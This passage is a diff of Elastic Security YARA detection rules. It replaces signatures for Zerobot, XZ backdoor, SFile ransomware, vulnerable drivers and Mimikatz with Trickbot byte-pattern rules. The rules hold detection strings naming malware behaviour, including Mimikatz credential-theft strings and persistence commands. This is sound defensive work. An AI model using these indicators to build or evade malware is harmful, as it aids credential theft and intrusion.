-		$startup_method_1_1 = "start on filesystem"
-		$startup_method_1_2 = "exec /usr/bin/sshf"
-		$startup_method_2_0 = "Description=Hehehe"
-		$startup_method_2_1 = "/lib/systemd/system/sshf.service"
-		$start_service_0 = "service enable sshf"
-		$start_service_1 = "systemctl enable sshf"
+		$a = { F9 8B 45 F4 89 5D E4 85 D2 74 39 83 C0 02 03 C6 89 45 F4 8B }
 
 	condition:
-		( all of ($startup_method_1_*) or all of ($startup_method_2_*)) and 1 of ($start_service_*)
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Zerobot_3A5B56Dd : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_1E56Fad7 : FILE MEMORY
 {
 	meta:
-		description = "Strings found in the Zerobot Spoofed Header method"
+		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
 		author = "Elastic Security"
-		id = "3a5b56dd-e829-44bb-ae70-d7001addd057"
-		date = "2022-12-16"
-		modified = "2024-02-13"
+		id = "1e56fad7-383f-4ee0-9f8f-a0b3dcceb691"
+		date = "2021-03-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Zerobot.yar#L28-L51"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f9fc370955490bdf38fc63ca0540ce1ea6f7eca5123aa4eef730cb618da8551f"
-		logic_hash = "2491fff4ad0327e0440d842f221fb6623c8efd97e2991bf2090abceaef9c2ccf"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L60-L77"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "815b37804f79fb4607e6b84294882d818233c3df13aececb3d341244900a2e44"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9800a241ab602434426830110ce244cdfd0023176e5fa64e2b8761234ed6f529"
-		threat_name = "Linux.Trojan.Zerobot"
+		fingerprint = "a0916134f47df384bbdacff994970f60d3613baa03c0a581b7d1dd476af3121b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$HootSpoofHeader_0 = "X-Forwarded-Proto: Http"
-		$HootSpoofHeader_1 = "X-Forwarded-Host: %s, 1.1.1.1"
-		$HootSpoofHeader_2 = "Client-IP: %s"
-		$HootSpoofHeader_3 = "Real-IP: %s"
-		$HootSpoofHeader_4 = "X-Forwarded-For: %s"
+		$a = { 5B C9 C2 18 00 43 C1 02 10 7C C2 02 10 54 C1 02 10 67 C1 02 10 }
 
 	condition:
-		3 of them
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Vbox_3315863F : FILE
+rule ELASTIC_Windows_Trojan_Trickbot_93C9A2A4 : FILE MEMORY
 {
 	meta:
-		description = "Subject: innotek GmbH"
+		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
 		author = "Elastic Security"
-		id = "3315863f-668c-47ec-86c7-85d50c3b97d9"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "93c9a2a4-a07a-4ed4-a899-b160d235bf50"
+		date = "2021-03-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_VBox.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "42d926cfb3794f9b1e3cb397498696cb687f505e15feb9df11b419c49c9af498"
-		logic_hash = "ba4e6a94516e36dcd6140b6732d959703e2c58a79add705b9260001ea26db738"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L79-L96"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "dadeeba6147b118b80e014ab067eac7a2c3c2990958a6c7016562d8b64fef53c"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "b0aea1369943318246f1601f823c72f92a0155791661dadc4c854827c295e4bf"
-		threat_name = "Windows.VulnDriver.VBox"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "0ff82bf9e70304868ff033f0d96e2a140af6e40c09045d12499447ffb94ab838"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$subject_name = { 06 03 55 04 03 [2] 69 6E 6E 6F 74 65 6B 20 47 6D 62 48 }
+		$a = { 6A 01 8B CF FF 50 5C 8B 4F 58 49 89 4F 64 8B 4D F4 8B 45 E4 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $subject_name
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Vbox_1B1C5Cd5 : FILE
+rule ELASTIC_Windows_Trojan_Trickbot_5340Afa3 : FILE MEMORY
 {
 	meta:
-		description = "Name: VBoxDrv.sys, Version: 3.0.0.0"
+		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
 		author = "Elastic Security"
-		id = "1b1c5cd5-23d3-4f1f-a396-3f2b18e28b64"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "5340afa3-ff90-4f61-a1ac-aba1f32dd375"
+		date = "2021-03-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_VBox.yar#L22-L42"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1684e24dae20ab83ab5462aa1ff6473110ec53f52a32cfb8c1fe95a2642c6d22"
-		logic_hash = "5fcfffea021aee8d18172383df0e65f8c618fab545c800f1a7b659e8112c6c0f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L98-L115"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "8b9d3c978f0c4a04ee5b3446b990172206b17496036bc1cc04180ea7e9b99734"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "89dd35bb023ebc03c46c0e70ac975025921da289cb3374f2912fbb323c591bd9"
-		threat_name = "Windows.VulnDriver.VBox"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "7da4726ccda6a76d2da773d41f012763802d586f64a313c1c37733905ae9da81"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 56 00 42 00 6F 00 78 00 44 00 72 00 76 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x02][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
+		$a = { E8 0C 89 5D F4 0F B7 DB 03 5D 08 66 83 F8 03 75 0A 8B 45 14 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Procid_86605Fa9 : FILE
+rule ELASTIC_Windows_Trojan_Trickbot_E7932501 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Vulndriver Procid (Windows.VulnDriver.ProcId)"
+		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
 		author = "Elastic Security"
-		id = "86605fa9-bf1a-4c2c-87f5-cb656ebe4cf3"
-		date = "2022-04-04"
-		modified = "2022-04-04"
+		id = "e7932501-66bf-4713-b10e-bcda29f4b901"
+		date = "2021-03-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_ProcId.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b03f26009de2e8eabfcf6152f49b02a55c5e5d0f73e01d48f5a745f93ce93a29"
-		logic_hash = "882cdbd267d812e77e68e7080f1fca0ca3d7e75ab84c583c3ec148894b1cf644"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L117-L134"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "f82704a408a0cf1def2a5926dc4c02fa56afea1422c88ba41af50d44c60edb07"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "6d8d926efd98d6eaa1d06d39fb5babf70abf6f0e639fb74f29f65836a79e4743"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "ae31b49266386a6cf42289a08da4a20fc1330096be1dae793de7b7230225bfc7"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$str1 = "\\piddrv64.pdb"
+		$a = { 24 0C 01 00 00 00 85 C0 7C 2F 3B 46 24 7D 2A 8B 4E 20 8D 04 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Xzbackdoor_74E87A9D : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_Cd0868D5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xzbackdoor (Linux.Trojan.XZBackdoor)"
+		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
 		author = "Elastic Security"
-		id = "74e87a9d-11c1-4e86-bb3c-63a3c51c50df"
-		date = "2024-03-30"
-		modified = "2024-04-03"
+		id = "cd0868d5-42d8-437f-8c1a-303526c08442"
+		date = "2021-03-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_XZBackdoor.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5448850cdc3a7ae41ff53b433c2adbd0ff492515012412ee63a40d2685db3049"
-		logic_hash = "c777171c36d9369ade7bf44c7cc4e5aee16bb4c803431bc480cc0f8ebb2819c0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L136-L153"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "053a99e5e722fd2aa1cae96266cc344954f9c3a12d0851fa9d5e95a6420651f4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6ec0ee53f66167f7f2bbe5420aa474681701ed8f889aaad99e3990ecc4fb6716"
+		fingerprint = "2f777285a90fce20cd4eab203f3ec7ed1c62e09fc2dfdce09b57e0802f49628f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = "yolAbejyiejuvnup=Evjtgvsh5okmkAvj"
-		$a2 = { 0A 31 FD 3B 2F 1F C6 92 92 68 32 52 C8 C1 AC 28 34 D1 F2 C9 75 C4 76 5E B1 F6 88 58 88 93 3E 48 10 0C B0 6C 3A BE 14 EE 89 55 D2 45 00 C7 7F 6E 20 D3 2C 60 2B 2C 6D 31 00 }
-		$b1 = { 48 8D 7C 24 08 F3 AB 48 8D 44 24 08 48 89 D1 4C 89 C7 48 89 C2 E8 ?? ?? ?? ?? 89 C2 }
-		$b2 = { 31 C0 49 89 FF B9 16 00 00 00 4D 89 C5 48 8D 7C 24 48 4D 89 CE F3 AB 48 8D 44 24 48 }
-		$b3 = { 4D 8B 6C 24 08 45 8B 3C 24 4C 8B 63 10 89 85 78 F1 FF FF 31 C0 83 BD 78 F1 FF FF 00 F3 AB 79 07 }
+		$a = { 8D 1C 01 89 54 24 10 8B 54 24 1C 33 C9 66 8B 0B 8D 3C 8A 8B 4C }
 
 	condition:
-		1 of ($a*) or all of ($b*)
+		all of them
 }
-rule ELASTIC_Linux_Ransomware_Sfile_9E347B52 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_515504E2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Ransomware Sfile (Linux.Ransomware.SFile)"
+		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
 		author = "Elastic Security"
-		id = "9e347b52-233a-4956-9f1f-7600c482e280"
-		date = "2023-07-29"
-		modified = "2024-02-13"
+		id = "515504e2-6b7f-4398-b89b-3af2b46c78a7"
+		date = "2021-03-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_SFile.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "49473adedc4ee9b1252f120ad8a69e165dc62eabfa794370408ae055ec65db9d"
-		logic_hash = "394571fd5746132d15da97428c3afc149435d91d5432eadf1c838d4a6433c7c1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L155-L172"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "5410068e09de4a1283f98f6364ddf243373e228ba060b00699db6323f1167684"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "094af0030d51d1e28405fc02a51ccc1bedf9e083b3d24b82c36f4b397eefbb0b"
+		fingerprint = "8eb741e1b3bd760e2cf511ad6609ac6f1f510958a05fb093eae26462f16ee1d0"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = { 49 74 27 73 20 6A 75 73 74 20 61 20 62 75 73 69 6E 65 73 73 2E }
-		$a2 = { 41 6C 6C 20 64 61 74 61 20 69 73 20 70 72 6F 70 65 72 6C 79 20 70 72 6F 74 65 63 74 65 64 20 61 67 61 69 6E 73 74 20 75 6E 61 75 74 68 6F 72 69 7A 65 64 20 61 63 63 65 73 73 20 62 79 20 73 74 65 61 64 79 20 65 6E 63 72 79 70 74 69 6F 6E 20 74 65 63 68 6E 6F 6C 6F 67 79 2E }
+		$a = { 6A 00 6A 00 8D 4D E0 51 FF D6 85 C0 74 29 83 F8 FF 74 0C 8D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Farfli_85D1Bcc9 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_A0Fc8F35 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Farfli (Windows.Trojan.Farfli)"
+		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
 		author = "Elastic Security"
-		id = "85d1bcc9-c3c7-454c-a77f-0e0de933c4c3"
-		date = "2022-02-17"
-		modified = "2022-04-12"
+		id = "a0fc8f35-cbeb-43a8-b00d-7a0f981e84e4"
+		date = "2021-03-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Farfli.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e3e9ea1b547cc235e6f1a78b4ca620c69a54209f84c7de9af17eb5b02e9b58c3"
-		logic_hash = "746eb5a2583077189d82d1a96b499ff383f31220845bd8a6df5b7a7ceb11e6fb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L174-L191"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "7ab2b45ddfc1d7fa409a6ea3dfd8d4940e1bdf3fc0cb6c7e8d49c60e7bda5b1b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "56a5e4955556d08b80849ea5775f35f5a32999d6b5df92357ab142a4faa74ac3"
+		fingerprint = "033ff4f47fece45dfa7e3ba185df84a767691e56f0081f4ed96f9e2455a563cb"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -66598,57 +70499,55 @@ rule ELASTIC_Windows_Trojan_Farfli_85D1Bcc9 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { AB 66 AB C6 45 D4 25 C6 45 D5 73 C6 45 D6 5C C6 45 D7 25 C6 45 }
+		$a = { 18 33 DB 53 6A 01 53 53 8D 4C 24 34 51 8B F0 89 5C 24 38 FF D7 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Multi_Generic_Threat_19854Dc2 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_Cb95Dc06 : FILE MEMORY
 {
 	meta:
-		description = "Detects Multi Generic Threat (Multi.Generic.Threat)"
+		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
 		author = "Elastic Security"
-		id = "19854dc2-a568-4f6c-bd47-bcae9976c66f"
-		date = "2024-02-21"
-		modified = "2024-06-12"
+		id = "cb95dc06-6383-4487-bf10-7fd68d61e37a"
+		date = "2021-03-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Multi_Generic_Threat.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "be216fa9cbf0b64d769d1e8ecddcfc3319c7ca8e610e438dcdfefc491730d208"
-		logic_hash = "beed6d6cd7b7b6eb3f4ab6a45fd19f2ebfb661e470d468691b68634994e2eef7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L193-L210"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "563b2311d37ace2d09601a70325352db3fcbf135e7ce518965f5410081b5d626"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "64d3803490fa71f720678ca2989cc698ea9b1a398d02d6d671fa01e0ff42f8b5"
-		severity = 50
+		fingerprint = "0d28f570db007a1b91fe48aba18be7541531cceb7f11a6a4471e92abd55b3b90"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "multi"
+		os = "windows"
 
 	strings:
-		$a1 = { 26 2A 73 74 72 75 63 74 20 7B 20 45 6E 74 72 79 53 61 6C 74 20 5B 5D 75 69 6E 74 38 3B 20 4C 65 6E 20 69 6E 74 20 7D }
+		$a = { 08 5F 5E 33 C0 5B 5D C3 8B 55 14 89 02 8B 45 18 5F 89 30 B9 01 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Hacktool_Mimikatz_1388212A : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_9D4D3Fa4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Mimikatz (Windows.Hacktool.Mimikatz)"
+		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
 		author = "Elastic Security"
-		id = "1388212a-2146-4565-b93d-4555a110364f"
-		date = "2021-04-13"
+		id = "9d4d3fa4-4e37-40d7-8399-a49130b7ef49"
+		date = "2021-03-28"
 		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_Mimikatz.yar#L1-L43"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "66b4a0681cae02c302a9b6f1d611ac2df8c519d6024abdb506b4b166b93f636a"
-		logic_hash = "1b717453810455e3f530e399f5f9f163d1ad0d71a5464fa5c68aa82edd699cda"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L212-L229"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "7c3c9917a95248fd990b6947a0304ded473bf1bcceec8f4498a7955e879d348b"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "dbbdc492c07e3b95d677044751ee4365ec39244e300db9047ac224029dfe6ab7"
+		fingerprint = "b06c3c7ba1f5823ce381971ed29554e5ddbe327b197de312738165ee8bf6e194"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -66656,199 +70555,139 @@ rule ELASTIC_Windows_Hacktool_Mimikatz_1388212A : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "   Password: %s" wide fullword
-		$a2 = "  * Session Key   : 0x%08x - %s" wide fullword
-		$a3 = "   * Injecting ticket : " wide fullword
-		$a4 = " ## / \\ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )" wide fullword
-		$a5 = "Remove mimikatz driver (mimidrv)" wide fullword
-		$a6 = "mimikatz(commandline) # %s" wide fullword
-		$a7 = "  Password: %s" wide fullword
-		$a8 = " - SCardControl(FEATURE_CCID_ESC_COMMAND)" wide fullword
-		$a9 = " * to 0 will take all 'cmd' and 'mimikatz' process" wide fullword
-		$a10 = "** Pass The Ticket **" wide fullword
-		$a11 = "-> Ticket : %s" wide fullword
-		$a12 = "Busylight Lync model (with bootloader)" wide fullword
-		$a13 = "mimikatz.log" wide fullword
-		$a14 = "Log mimikatz input/output to file" wide fullword
-		$a15 = "ERROR kuhl_m_dpapi_masterkey ; kull_m_dpapi_unprotect_domainkey_with_key" wide fullword
-		$a16 = "ERROR kuhl_m_lsadump_dcshadow ; unable to start the server: %08x" wide fullword
-		$a17 = "ERROR kuhl_m_sekurlsa_pth ; GetTokenInformation (0x%08x)" wide fullword
-		$a18 = "ERROR mimikatz_doLocal ; \"%s\" module not found !" wide fullword
-		$a19 = "Install and/or start mimikatz driver (mimidrv)" wide fullword
-		$a20 = "Target: %hhu (0x%02x - %s)" wide fullword
-		$a21 = "mimikatz Ho, hey! I'm a DC :)" wide fullword
-		$a22 = "mimikatz service (mimikatzsvc)" wide fullword
-		$a23 = "[masterkey] with DPAPI_SYSTEM (machine, then user): " wide fullword
-		$a24 = "$http://blog.gentilkiwi.com/mimikatz 0" ascii fullword
-		$a25 = " * Username : %wZ" wide fullword
+		$a = { 89 44 24 18 33 C9 89 44 24 1C 8D 54 24 38 89 44 24 20 33 F6 89 44 }
 
 	condition:
-		3 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Mimikatz_674Fd079 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_34F00046 : FILE MEMORY
 {
 	meta:
-		description = "Detection for default mimikatz memssp module"
+		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
 		author = "Elastic Security"
-		id = "674fd079-f7fe-4d89-87e7-ac11aa21c9ed"
-		date = "2021-04-14"
+		id = "34f00046-8938-4103-91ec-4a745a627d4a"
+		date = "2021-03-28"
 		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_Mimikatz.yar#L45-L77"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "66b4a0681cae02c302a9b6f1d611ac2df8c519d6024abdb506b4b166b93f636a"
-		logic_hash = "f63f3de05dd4f4f40cda6df67b75e37d7baa82c4b4cafd3ebdca35adfb0b15f8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L231-L248"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "f9d646645d6726e3aac5cc3eaea9edf1c89c7e743aff7cfa73998a72f3446711"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b8f71996180e5f03c10e39eb36b2084ecaff78d7af34bd3d0d75225d2cfad765"
-		threat_name = "Windows.Hacktool.Mimikatz"
-		severity = 99
+		fingerprint = "5c6f11e2a040ae32336f4b4c4717e0f10c73359899302b77e1803f3a609309c0"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 44 30 00 38 00 }
-		$a2 = { 48 78 00 3A 00 }
-		$a3 = { 4C 25 00 30 00 }
-		$a4 = { 50 38 00 78 00 }
-		$a5 = { 54 5D 00 20 00 }
-		$a6 = { 58 25 00 77 00 }
-		$a7 = { 5C 5A 00 5C 00 }
-		$a8 = { 60 25 00 77 00 }
-		$a9 = { 64 5A 00 09 00 }
-		$a10 = { 6C 5A 00 0A 00 }
-		$a11 = { 68 25 00 77 00 }
-		$a12 = { 68 25 00 77 00 }
-		$a13 = { 6C 5A 00 0A 00 }
-		$b1 = { 6D 69 6D 69 C7 84 24 8C 00 00 00 6C 73 61 2E C7 84 24 90 00 00 00 6C 6F 67 }
+		$a = { 30 FF FF FF 03 08 8B 95 30 FF FF FF 2B D1 89 95 30 FF FF FF }
 
 	condition:
-		all of ($a*) or $b1
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Mimikatz_355D5D3A : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_F2A18B09 : FILE MEMORY
 {
 	meta:
-		description = "Detection for Invoke-Mimikatz"
+		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
 		author = "Elastic Security"
-		id = "355d5d3a-e50e-4614-9a84-0da668c40852"
-		date = "2021-04-14"
+		id = "f2a18b09-f7b3-4d1a-87ab-3018f520b69c"
+		date = "2021-03-28"
 		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_Mimikatz.yar#L79-L112"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "945245ca795e0a3575ee4fdc174df9d377a598476c2bf4bf0cdb0cde4286af96"
-		logic_hash = "c6b48ab2cc92deb507d7eead1fb6381ee40b698e84d9eaac45288f95dbda66b3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L250-L267"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "c4c4b0b1df1e8fde87284fb27d46e917c47b479a675fec60faeca6185511907d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9a23845ec9852d2490171af111612dc257a6b21ad7fdfd8bf22d343dc301d135"
-		threat_name = "Windows.Hacktool.Mimikatz"
-		severity = 90
